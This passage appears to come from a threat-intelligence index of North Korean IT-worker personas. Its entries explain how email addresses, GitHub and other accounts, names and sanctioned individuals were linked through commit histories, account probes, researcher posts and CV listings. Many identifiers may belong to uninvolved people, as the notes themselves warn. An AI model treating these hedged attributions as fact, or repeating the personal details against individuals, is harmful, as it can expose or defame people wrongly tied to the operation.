timon0219, frostsnow0219 and andressnow0219. Of the 100 commits GitHub's search returns for it, 18 are signed joinercantillo0801@gmail.com, the persona's name in a second mailbox, and seventeen of its repositories hold 56 commits signed joinercantillo0813@gmail.com, the address browsercookies published, dated May 2024 to May 2025. GitHub attributes the published address to the login dev-hacki, which no longer resolves; it is recorded as the account that held the address.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (0xtan1319) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 1 commit signed sports.fanatic.lux@gmail.com, an address browsercookies publishes for this persona, to github.com/sportsfanaticlux-dotcom, account id 246954575, created on 30 November 2025, display name Ronel, with 1 public repository.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (firstninja111) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Bradenton, Florida, the role it presents as Senior Java Full Stack Engineer, and the contact details above. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Two persona names on one set of accounts: portfolios under both Michael Liang and Joseph Jackson point at the same phoenixfeather0208 handle across GitHub, Telegram, Bluesky, Mastodon and Substack. Transcribed from the researcher's chart, which groups every account under the name it gives here and draws its links from mutual follows, shared contact details and repositories carrying one another's details. Accounts on platforms this site does not index, as the chart lists them: github.com/0phoenixfeather0208/resume, bsky.app/profile/phoenixfeather0208.bsky.social, substack.com/@phoenixfeather0208, mastodon.social/@phoenixfeather0208, forem.com/michael_liang_0208.","The post asserts one identity outright, that Josh Mack and the GitHub account rossryuli are the same. The rest it states as links rather than equivalences: Kanbei is linked to mjoshalchi@gmail.com, and that address to rossryuli. The IP address is given as Russian and appears in the post immediately after the rossryuli line. The researcher writes the address without a top-level domain, as mjoshalchi[@]gmail.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Lubbock, Texas and the role it presents as Senior Full Stack Engineer, and the contact details above. The record adds a mailbox from the persona's working files. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","The post states the operator opened a second GitHub account under the name Josue Valdivia, put a guestbook on it, and that his associates signed it. The second post shows a reverse image search establishing that the photograph used for the Josue identity was taken from a Pinterest account belonging to somebody else; that person is recorded in the held-back list rather than here. The third post shows the guestbook itself.","Hayden McKenzie's report names Joy (Joey) as the other operative placed at the same consultancy through MageHire, listed in Shenyang, with a client address beginning joy.huang@ (domain withheld). A GitHub account named Joy, maxvmiracle, follows only MageHire's company account and is followed back; see the MageHire indicators. A Slack screenshot the report publishes shows MageHire's CEO giving the client linkedin.com/in/erik-huang-full-stack as Joy's LinkedIn.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives the role it presents as Senior Java Full Stack Engineer, and the contact details above. The record adds a number and a Telegram account from the persona's working files. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The Telegram account t.me/jeremymichael0709 is already in this corpus from the same May 2025 Narcass3 post that carries jeremymichael0709@gmail.com, the Jeremy Michael address. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 1 July 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address onemetafox@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation. Searching the open web for the values already on this page, on 12 September 2026, turned up four more pages the same identity maintains. flowcv.me/metafox is a personal CV site headed \"Kang Jun Rui's Personal Website\" claiming over ten years of software engineering; it links a Telegram account and a GitHub account. contra.com/onemetafox_zotzj3lt is a freelancing profile under the name in the other order, Jun Rui Kang, giving the location as Singapore and linking the same CV site, a GitHub account and an X account. x.com/onemetafox posts as \"Meta Fox\" under a biography that repeats the CV site's opening sentence word for word. The GitHub account both pages link is github.com/onmetafox, which is live and presents the same headline, \"Full-Stack Developer and Software Engineer\" -- one letter away from github.com/onemetafox, the account the pipu.cc CV gave, which now returns a 404. Each page was read directly and is cited to itself; that they belong to one identity is what the pages themselves assert by linking one another.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- pauleta0126 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Gary. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under jusdy, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 1 July 2025 and a display name of Jusdy Joe. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Name the researcher publishes for an operator it says sometimes uses a German passport, with a cropped identity photograph attached. The passport is not reproduced here.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- loyaldev -- and asking dev.to whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 13 July 2023 and a display name of k. Fidèle Eklou. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under devkitty803, a login the index already carries for this persona on another platform. The profile gives a member-since date of 14 March 2022. It displays the name Kaiming Hong, the same name the reporting already gives. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Read from the table image the post carries, rather than from its text. The post is the head of the thread whose later parts this file already cites: those parts restate the table in plain text, and the cells transcribed here are the ones no part reached. The researcher's own layout is what supplies the attribution -- a cell is headed with a Korean name and lists the aliases, accounts and addresses filed under it. The cell is headed \"Ryu Un Song - Shopify\", which is the researcher naming the platform the persona works on rather than an employer this site can verify.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/onmetafox, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: onemetafox@outlook.com authored 299 commits across 10 of its repositories, commits as \"onmetafox\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","Nisos names this persona as one a likely DPRK IT worker used to obtain remote work in the United States, and publishes it beside three others it ties to the same contact details. The GitHub account superredstar, the address kanbei0605@gmail.com and the four freelance-platform profiles are in the report's text; the GitHub accounts kanbei0605 and code-0605 and the Telegram handle kanbei0605 are read from its network map, which draws them as direct connections to this persona. The report states that superredstar built the persona's resume website in April 2022, that the persona claims to be from Singapore and to have worked remotely for Mongrov Inc since May 2023, that its freelancer profiles place it in the United States and Turkey, that its resumes list Overflow as an employer and the Singapore University of Technology and Design as its school, and that its employment history matches that of a separate persona, Naoyuki Tanaka, which Nisos links to Enver Studio. Nisos also reports that the persona's photograph is a stock image sold on several stock-photography sites.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/kanbei65 is account id 91700749, created on 30 September 2021. 79 of its 100 own commits are signed kanbei0605@gmail.com and the other 21 with a noreply address under the handle kanbei0605, so this account was once named kanbei0605. Nisos names github.com/kanbei0605 under Karl Chong. That handle now belongs to a different account, id 116683582, created on 25 October 2022, which is not this one; which of the two Nisos read cannot be settled from the handle, but the address kanbei0605@gmail.com, which the same reporting gives for the persona, signs this account's commits.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (kanbei0605) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Read on 3 October 2026 from GitHub commit histories. Commits authored under the name Kaspar Kruus, a name a researcher published in August 2025 as an alias of one operator, come from four accounts: marvynpingul (account ID 165824649, formerly logged in as petermantop, which its own private commit address still names) at petermantop@gmail.com; Kasparexzi at kaspar@exzi.com; kaspar-atrnous at kaspar.kruus@atronous.ai, which pushed a repository named veriff-face-api in May 2025; and Kaspar-Kruus99 at kasparkruus99@outlook.com. From May 2026 the same petermantop@gmail.com mailbox signs its commits Marvyn Pingul. The accounts and the full network around them are set out in the candidate entry kaspar-kruus.","Confirmed by Chollima Hunter research and rated high confidence; corroborated by Post listing Kaspar Kruus among the other personas of one operator, browsercookies on X. The name Kaspar Kruus is already in this site's index as one of seven aliases a researcher posted on 2 August 2025 as other personas of a single operator, alongside Ervin Halmi, Timur Sarv, Balasz Ballo, Gerson Stuva, Boudewijn Geiger and Oskar Teder. Chollima Hunter research then found the accounts filed here, all read on 3 October 2026.\n\nThe profiles. torre.ai presents a senior full-stack developer in Tallinn, Estonia, working since 2014, at SENLA from 2022 to 2024 and Ronasit from 2015 to 2018, with a Central Arizona College degree. The Freelancer.com account kaspar033 shows Kaspar K., joined 7 March 2025, a principal full-stack engineer with more than ten years of experience, placed in the Philippines rather than Estonia. Both LinkedIn accounts the research recorded are now removed; kaspar-kruus-0982802b9 was already gone, and kaspar-kruus-aab966366 returned LinkedIn's not-found page on 3 October 2026.\n\nThe GitHub account. The research gave github.com/petermantop, which no longer resolves under that login. It was renamed rather than deleted: a commit in veriff-face-api is authored as Kaspar KK under 165824649+petermantop@users.noreply.github.com, and 165824649 is the account ID of marvynpingul, created 2 April 2024 with the display name Marvyn. Under that account petermantop@gmail.com commits as petermantop, peter, kaspar, Kaspar and Kaspar Kruus from April 2024 to March 2026 (ai-pm-api, Crypto-OrderBook-Desk, CryptoRealTimePrice, DailyWordArticle, sku-frontend, sku-management-api, trading-settlement), and from May 2026 as Marvyn Pingul (nifi-flow-test): the same mailbox moving from this persona to a new name. CryptoRealTimePrice also carries a commit by Kaspar Kruus at kaspar@exzi.com, linked to the account Kasparexzi (created 11 November 2024, empty); Exzi is a cryptocurrency exchange. veriff-face-api, a repository named for an identity-verification provider's face check, was pushed on 20 May 2025 in ten commits by Kaspar Kruus at kaspar.kruus@atronous.ai, linked to kaspar-atrnous (created 1 April 2025, empty), the address that also signs a 2026 commit in Kaspar-Kruus99/LifeLedger. Kaspar-Kruus99 (created 3 April 2025, display name Kaspar) commits as kasparkruus99@outlook.com. Further accounts under the name are Kaspar-Kruus (January 2025), kaspar-kruus032 (March 2025) and DanielLeeDevMaster (June 2025, display name Kaspar Kruus, bio \"Hello, I am a Senior Software Engineer.\").\n\nThe network. Kaspar-Kruus follows exactly two accounts, bartlomiej-629 (Bartlomiej Czeslaw Jakubowicz, BartlomiejCzeslaw@outlook.com) and bernardus-425 (Bernardus Besseler, bernardus.besseler@outlook.com), created five minutes apart on 5 February 2025. They hold the same set of about 27 projects each, created on the same days (an AI project-management API, a bank app, a hotel system, a rental platform, a Web3 message signer and others), and two of those projects also exist under marvynpingul. Both are followed by JamesWBeck (created March 2024, empty), which follows nothing else. A co-author on marvynpingul/ai-pm-api, memokey (skytopground@gmail.com, an account from 2022), is recorded as where those commits sit and nothing more.","Surfaced by the DPRK_Dev_Star account, an anonymous parody/expose account that narrates in an operator voice to out DPRK developer personas; it is followed by the named researchers this file otherwise draws on. The post pairs the Vercel portfolio kauai-site.vercel.app with the GitHub account github.com/tech-master823, and the two corroborate independently: the GitHub account, created September 2024 with 32 repositories, carries the display name Kauai Santana and the same senior-full-stack-developer framing as the site, and the site's own Github Profile button points to it. Recorded as the account's claim, with that corroboration noted; the source is weaker than the named-researcher dossiers, which is why the cross-check is stated. The GitHub account links the LinkedIn profile kauai-santana-dev and its commit history is dominated by carlsh0823@gmail.com (311 commits across its own repositories), the operator's own author address; both are added. Forked-repo commits carry unrelated upstream authors, which are not.","Published on 17 May 2025 in a thread the researcher opened with \"Lets play a profile picture game! Here are a few fun DPRK ITW/remote worker profile pics and their associated emails.\" Each post in it pairs one address with the profile photograph used alongside it. This entry is one such post: the address kazuhirosasaki0805@gmail.com and the picture below it. The photograph is mirrored here because these posts are the only published record of the face an operator presented, and the accounts they came from are routinely deleted. It is not evidence of who operates the address: a profile picture in this dataset is as likely to be generated, stock, or taken from an uninvolved person. The name is this site reading the address, not a name the researcher gave: the post pairs an address with a picture and attributes neither to anybody.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 13 commits signed kazuhirosasaki0805@gmail.com, an address browsercookies publishes for this persona, to github.com/HackerRank0805, account id 100253838, created on 23 February 2022, display name HackerRank0805, with 4 public repositories.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under ethfuji, a login the index already carries for this persona on another platform. The profile gives a member-since date of 20 December 2019. It displays \"D\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under kazunetakeda25, a login the index already carries for this persona on another platform. The profile gives a member-since date of 17 March 2022. It displays the name Kazune Takeda, the same name the reporting already gives. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 17 September 2026 by asking Keybase whether an account exists under kazunetakeda25, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 6 October 2022 and no display name but the handle itself. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under kazunetakeda25, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 24 March 2022. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- jwtradera -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of John Wilhelmsson. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- jwtradera -- and asking Hugging Face whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of jwt. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- jwtradera -- and asking Docker Hub whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 24 June 2025. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 6 commits signed kazune.takeda@yahoo.com, an address the lazarus.group registry publishes for this persona, to the login borrdd34, which no longer resolves.","Hayden McKenzie's report names Kei Haruto as one of two operatives placed at an identity-and-access consultancy through MageHire, presented as Japanese and listed in Dalian, with a client address beginning kei.haruto@ (domain withheld). One of the two was internally said to have no Auth0 experience while billing Auth0 work.","Posted in reply to a company statement, asserting this operator was on payroll at a named firm for years. The post lists the four GitHub handles as 'GitHub alias'; they are recorded as accounts on that wording.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under keisukew53, a login the index already carries for this persona on another platform. The profile gives a member-since date of 26 February 2025. It displays the name Keisuke Watanabe, the same name the reporting already gives. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","The GitHub account is read by hand from the second attached screenshot, a profile page headed elbaable with 24 repositories and 94 followers. The post's own text states both names and adds that the operator likes the number 1026 on email accounts; no address is shown, so none is recorded here. This is one of the names docs/x-source-backlog.md had been carrying as unresolved on the belief that it existed only inside an image. It is in the post's text, in a window the sweep never reached.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under elbaable, a login the index already carries for this persona on another platform. It gives a joined date of Nov 15, 2021. It displays the name Trayvon Hughes, which no source this site holds had attached to this operator before. The profile links a GitHub account, elbaable. It gives a location of CA, US. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/elbaable, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: trahughes1026@gmail.com authored 8 commits across 2 of its repositories, commits as \"elbaable\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","The post names the identity, links a profile on web3.career under the handle cryptolegend92, and states he attended Vladivostok State University in 2019 and has been an IT worker since at least 2023.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Dallas, Texas and the role it presents as Senior Backend Engineer, and the contact details above. The record adds two mailboxes and a number from the persona's working files. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 27 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address kevinrowland.pro0110@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Read on 3 October 2026 from the commit history of the GitHub account WaterRedLover0110, created on 7 November 2023 with no name or bio. Two commits to its Vue-Multi-Step-Form repository on 18 November 2024 are authored under the account's own name with the address kevinrowland.pro0110@gmail.com, the address on this persona's pipu.cc CV and in DTEX's email appendix. The address ties the account to the persona; nothing here establishes who holds either.","Read on 21 September 2026 by walking the commit history of every repository on github.com/darkmandev103, an account reached because one of its repositories is a byte-for-byte copy of one held by the account this site files under ZEUS. The account is the registry's own github.com/diamondyhand under a new name: three of its commits carry the noreply address 113045708+diamondyhand@users.noreply.github.com, and 113045708 is darkmandev103's account id, so the handle the lazarus.group registry published for this persona was renamed rather than abandoned, and github.com/diamondyhand now returns nothing. Its own commits are signed masterdevv278@gmail.com 242 times, under the names diamondyhand and masterdevv278, which is the address the registry lists for the persona; the commit metadata ties handle and address to one account first-hand, which the registry entry did not show. The account was created on 7 September 2022, holds 35 repositories, and carries 1,153 followers against 2,239 followed. Nineteen further commits in its repositories are signed yeshealer <yeshealer@gmail.com> and attributed by GitHub to a second account, github.com/yeshealer; that address is on The Raven File's August 2025 list of IT-worker mailboxes, so the second account is recorded here on the strength of the list and the shared repositories, and nothing more is claimed for it. The repository that led here is a poker game: darkmandev103/poker-shuffle-game-react was created on 19 June 2023 with eight commits signed diamondyhand, and accompany1205/pocker-game, on the GitHub account filed under ZEUS, was created four days later holding the same history, its oldest commit signed diamondyhand and dated the day the first repository was made. One account's commits inside another persona's repository is the kind of link this site records between two entries rather than a reason to merge them.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (yeshealer) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under 0xapp123, a login the index already carries for this persona on another platform. The profile gives a member-since date of 26 January 2026. It displays \"0xapp123\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under 0xapp123, a login the index already carries for this persona on another platform. It gives a joined date of Jul 22, 2025. It displays \"0xapp123\", a display name rather than a person's name. The profile links a GitHub account, 0xapp123. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- johnfaryno -- and asking dev.to whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 26 February 2026 and a display name of John Faryno. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/BillionaireBB97 is account id 125123604, created on 11 February 2023, with 157 public repositories. Its commits carry noreply addresses under the handles 0xnevo and comet19950902, so it is the account browsercookies names as github.com/0xnevo under KGJ, renamed; 0xnevo now returns not found. Its own commits are signed goodluckydev@gmail.com (60 of 100) and theo.murray.nevo@gmail.com, the former handle in a mailbox. Its repositories also hold 66 commits signed dev0825conscientious@gmail.com, an address the same researcher gives for KGJ, and a few signed with addresses other researchers give for whisdev and rarosem.","Found on 24 September 2026 by searching GitHub's commit index for the addresses researchers give for this persona, and for the addresses of the accounts already filed under it. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/memedev365 is account id 204901096, created on 25 March 2025, and signs its own commits memedev365@outlook.com. Five of its nine repositories were read, all created on the day the account was, and in each the account's own first commit is joined the same day by one signed 0xNevo, goodluckydev@gmail.com, which GitHub attributes to github.com/BillionaireBB97, the account filed under KGJ that was previously named 0xnevo; in puffdog-nft-mint-be the two are at 18:37 and 19:35 UTC. The KGJ account pushing into every repository of a new account on its first day is recorded here as the persona operating it, as with the other accounts whose repositories are opened by a persona's identity.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (super1114, topsecretagent007, 0xapp123) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 27 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address khaledhussain.uo@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation. The listing carries no name of its own: the CV opens on its contact line, and the seller account is the handle khaledhussain.uo. Khaled Hussain is this site reading that handle and the address it matches, not a name the page states, and the handle is kept as an alias so the page is still reachable by it.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry and the ZEUS-DEV-919 working document give for a persona, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/MerkleEngineer is account id 175926331, created on 18 July 2024, with the bio Seasoned Blockchain & Web Developer with 10 years of experience. GitHub attributes 824 commits to it; of the 100 its search returns, 99 are signed dev.tianlong33@gmail.com and one christinejurich17@gmail.com, both addresses lazarus.group gives for Khanh Nguyen, and they are made under the author name DevCrown333, the GitHub handle the registry gives for the persona, which now returns not found. Five of its eight repositories were created on the day the account was and committed that day. Its pooltogether-pool-contracts, created on 21 August 2024, carries 221 commits dated from September 2020 onward re-signed as DevCrown333, an open-source project's history presented as the account's own.","The first post notes the operator has an X account and addresses it; the second lists the addresses as \"his additional emails\". Two of the addresses are repeated inside that list and are recorded once here. Two of them present as Serbian names, alongside the Kilros Kai identity the handle carries.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 7 commits signed kilros.kai@gmail.com, an address browsercookies publishes for this persona, to github.com/kilros, account id 155728366, created on 5 January 2024, with 2 public repositories.","Named by the researcher as one of two heads of North Korea's Chinyong IT-worker delegation, from photographs the post publishes. Chinyong is the front company already recorded here through the Naoki Murano / Choe Il-kuk material. The post places Kim Sang Man with IT workers in Vladivostok in 2024 and Kim Hyo Dong in Laos in 2023 alongside Naoki Murano and other IT workers. These are named leadership figures rather than fabricated personas, attributed on the strength of the researcher reading the photographs; recorded as the researcher's claim, not as a finding of this site.","The post states the persona works in blockchain, has Japanese clients and uses Freelancer.com.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 3 commits signed seatiger9847@gmail.com, an address browsercookies publishes for this persona, to the login Hermes000000, which no longer resolves.","Named by the researcher as one of two heads of North Korea's Chinyong IT-worker delegation, from photographs the post publishes. Chinyong is the front company already recorded here through the Naoki Murano / Choe Il-kuk material. The post places Kim Sang Man with IT workers in Vladivostok in 2024 and Kim Hyo Dong in Laos in 2023 alongside Naoki Murano and other IT workers. These are named leadership figures rather than fabricated personas, attributed on the strength of the researcher reading the photographs; recorded as the researcher's claim, not as a finding of this site. Kim Sang Man is also named on the OFAC sanctions list, where he appears in connection with Chinyong; the Gary Lee dossier here cites a $300,000 transfer to him. The four cryptocurrency addresses are the digital currency addresses OFAC listed for KIM, Sang Man (Korean: 김상만; a.k.a. KIM, Sangman) on its Specially Designated Nationals list, reproduced in the cited post.","Read from the table image the post carries, rather than from its text. The post is the head of the thread whose later parts this file already cites: those parts restate the table in plain text, and the cells transcribed here are the ones no part reached. The researcher's own layout is what supplies the attribution -- a cell is headed with a Korean name and lists the aliases, accounts and addresses filed under it. The cell lists two GitHub accounts and two addresses under one name; the pairing between them is not stated and is not inferred here.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/Sea872 is account id 15048703, created on 9 October 2015, display name Sea. All 100 of its own commits in GitHub's search are signed sealion9847@gmail.com, an address browsercookies gives for Kim Song Gyu.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form 